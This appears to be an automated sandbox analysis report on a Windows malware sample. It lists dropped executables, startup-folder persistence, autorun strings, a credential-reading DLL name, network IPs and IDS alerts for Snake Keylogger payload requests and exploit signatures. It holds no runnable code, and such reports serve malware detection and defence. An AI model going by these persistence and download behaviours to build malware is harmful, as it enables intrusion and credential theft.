Source: C:\Users\user\AppData\Local\Temp\6QWwVh6L.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\2.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\cbas[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\3[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\1[1].exe	Joe Sandbox ML: detected
Source: C:\Windows\cbas.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RCXF081.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXE7D7.tmp	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\GAOBCVIQIJ\~$cache1	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\3.exe	Joe Sandbox ML: detected
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cghqi.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\4[1].exe	Joe Sandbox ML: detected
Source: C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bykcxw.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\2[1].exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RCXF0C1.tmp	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\._cache_2.exe

Window detected: 1993-2023 Alexander Roshal(&D)C:\Program Files (x86)\WinRARC:\Program Files (x86)\WinRAR(&W)... (END USER LICENSE AGREEMENT EULA) [] []

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49841 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49877 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49926 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49947 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49954 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49966 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50319 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50322 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50329 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50363 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50362 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50364 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50365 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50373 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50396 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50425 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50441 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50453 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50470 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50469 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50472 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50471 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50482 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50484 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50486 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50487 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50488 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50497 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50506 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50507 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50508 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50525 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50524 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50531 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50532 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50541 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50542 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50554 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50555 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50558 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50556 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50559 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50557 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50561 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50562 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50574 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50575 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50576 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50581 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50585 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50584 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50597 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50599 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50610 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50611 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50615 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.33:443 -> 192.168.2.8:50614 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50617 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50623 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.8:50624 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 4.exe, 0000000A.00000003.1556442553.00000000056FA000.00000004.00000020.00020000.00000000.sdmp, 4.exe, 0000000A.00000003.1553686256.00000000055A6000.00000004.00000020.00020000.00000000.sdmp, 4.exe, 0000000A.00000002.1563633414.0000000000E34000.00000002.00000001.01000000.0000000E.sdmp, 4.exe, 0000000A.00000000.1548702947.0000000000E34000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: \Release\EXEPayload.pdb! source: wic.exe, 0000000C.00000003.1603360933.0000000000616000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000000.1713768152.0000000000FB3000.00000002.00000001.01000000.0000001A.sdmp, cbas[1].exe.12.dr, cbas.exe.12.dr
Source:	Binary string: \read_name_pass_dll\release\read_name_pass_dll.pdb source: wic.exe, 0000000C.00000003.1610908352.0000000000616000.00000004.00000020.00020000.00000000.sdmp, msslac.dll.12.dr
Source:	Binary string: \Release\EXEPayload.pdb source: wic.exe, 0000000C.00000003.1603360933.0000000000616000.00000004.00000020.00020000.00000000.sdmp, cbas.exe, 00000012.00000000.1713768152.0000000000FB3000.00000002.00000001.01000000.0000001A.sdmp, cbas[1].exe.12.dr, cbas.exe.12.dr
Source:	Binary string: \Release\DownLoad.pdb source: wic.exe, 0000000C.00000000.1585369183.00000000009E3000.00000002.00000001.01000000.00000017.sdmp, wic.exe, 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb source: ._cache_2.exe, 00000009.00000000.1548811664.00000000003AB000.00000002.00000001.01000000.0000000D.sdmp, 2.exe.0.dr
Source:	Binary string: O.PDb source: Synaptics.exe, 00000005.00000002.3828218133.0000000009401000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\setup\build\sfxrar32\Release\sfxrar.pdb< source: ._cache_2.exe, 00000009.00000000.1548811664.00000000003AB000.00000002.00000001.01000000.0000000D.sdmp, 2.exe.0.dr

Source: file.exe, 00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000003.1493293372.00000000007F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: 1.exe, 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: [autorun]
Source: 1.exe, 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: [autorun]
Source: 1.exe, 00000003.00000000.1483692540.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: 6QWwVh6L.exe.5.dr	Binary or memory string: [autorun]
Source: 6QWwVh6L.exe.5.dr	Binary or memory string: [autorun]
Source: 6QWwVh6L.exe.5.dr	Binary or memory string: autorun.inf
Source: 2.exe.0.dr	Binary or memory string: [autorun]
Source: 2.exe.0.dr	Binary or memory string: [autorun]
Source: 2.exe.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.3.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.3.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.3.dr	Binary or memory string: autorun.inf
Source: 1[1].exe.0.dr	Binary or memory string: [autorun]
Source: 1[1].exe.0.dr	Binary or memory string: [autorun]
Source: 1[1].exe.0.dr	Binary or memory string: autorun.inf
Source: RCXF081.tmp.5.dr	Binary or memory string: [autorun]
Source: RCXF081.tmp.5.dr	Binary or memory string: [autorun]
Source: RCXF081.tmp.5.dr	Binary or memory string: autorun.inf
Source: RCXE7D7.tmp.3.dr	Binary or memory string: [autorun]
Source: RCXE7D7.tmp.3.dr	Binary or memory string: [autorun]
Source: RCXE7D7.tmp.3.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_0040A2B0 GetDesktopWindow,FindFirstFileA,FileTimeToSystemTime,realloc,FindNextFileA,FindClose,qsort,SetFileAttributesA,SetFileAttributesA,DeleteFileA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,free,	4_2_0040A2B0
Source: C:\Users\user\Desktop\._cache_1.exe	Code function: 4_2_00407D50 SendMessageA,FindFirstFileA,realloc,FindNextFileA,FindClose,SetFileAttributesA,DeleteFileA,??3@YAXPAX@Z,free,Sleep,	4_2_00407D50
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E0BA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	10_2_00E0BA94
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E1D420 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	10_2_00E1D420
Source: C:\Program Files (x86)\4.exe	Code function: 10_2_00E2C508 FindFirstFileExA,	10_2_00E2C508
Source: C:\Windows\wic.exe	Code function: 12_2_0091E027 __EH_prolog3_GS,GetFullPathNameA,__cftof,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,_strlen,	12_2_0091E027

Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Program Files (x86)\1.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: excel.exe

Memory has grown: Private usage: 2MB later: 69MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2018581 - Severity 1 - ET MALWARE Single char EXE direct download likely trojan (multiple families) : 192.168.2.8:49704 -> 47.254.187.72:80
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 47.254.187.72:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2832617 - Severity 1 - ETPRO MALWARE W32.Bloat-A Checkin : 192.168.2.8:49715 -> 69.42.215.252:80
Source: Network traffic	Suricata IDS: 2800781 - Severity 1 - ETPRO EXPLOIT Microsoft Windows Shell Buffer Overflow : 47.254.187.72:80 -> 192.168.2.8:49712
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49717 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49716 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49724 -> 142.250.185.142:443
Source: Network traffic	Suricata IDS: 2044887 - Severity 1 - ET MALWARE Snake Keylogger Payload Request (GET) : 192.168.2.8:49729 -> 142.250.185.142:443
